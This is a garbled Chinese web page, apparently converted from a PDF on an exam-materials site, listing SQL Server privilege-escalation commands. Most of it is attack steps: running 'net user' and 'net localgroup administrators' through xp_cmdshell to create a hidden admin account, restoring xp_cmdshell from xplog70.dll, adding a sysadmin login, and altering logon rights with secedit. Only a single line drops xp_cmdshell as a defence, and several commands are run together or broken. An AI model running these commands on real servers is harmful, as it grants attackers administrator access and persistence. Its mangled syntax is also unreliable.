

SQLServer提升权限相关命令及防范 PDF转换可能丢失图片或格式，建议阅读原文

[https://www.100test.com/kao\\_ti2020/460/2021\\_2022\\_SQLServer\\_E6\\_c98\\_460704.htm](https://www.100test.com/kao_ti2020/460/2021_2022_SQLServer_E6_c98_460704.htm) .exec master..xp\_cmdshell "net user name password /add"--.exec master..xp\_cmdshell "net localgroup administrators name /add"--程序代码开启cmdshell的sql语句exec sp\_addextendedproc xp\_cmdshell ,@dllname =xplog70.dll判断存储扩展是否存在0select count(\*) from master.dbo.sysobjects where xtype=x and name=xp\_cmdshell返回结果为1就ok恢复xp\_cmdshellexec master.dbo.addextendedproc xp\_cmdshell,xplog70.dll.0select count(\*) from master.dbo.sysobjects where xtype=x and name=xp\_cmdshell返回结果为1就ok否则上传xplog7.0.dllexec master.dbo.addextendedproc xp\_cmdshell,c:/winnt/system32/xplog70.dll堵上cmdshell的sql语句sp\_0dropextendedproc "xp\_cmdshell"dos:dir c:/dir d:/dir e:/net user tsinternetusers password /addnet localgroup administrators tsinternetusers /add备份恢复ipsecsecedit /export /cfg c:/tmp.infecho sedenynetworklogonright =>>c:/tmp.infsecedit /configure /db c:/windows/secedit.sdb /cfg c:/tmp.infsql:exec master..sp\_addlogin username,passwordexec master..sp\_addsrvrolemember username,sysadmin 100Test 下载频道开通，各类考试题目直接下载。详细请访问 [www.100test.com](http://www.100test.com)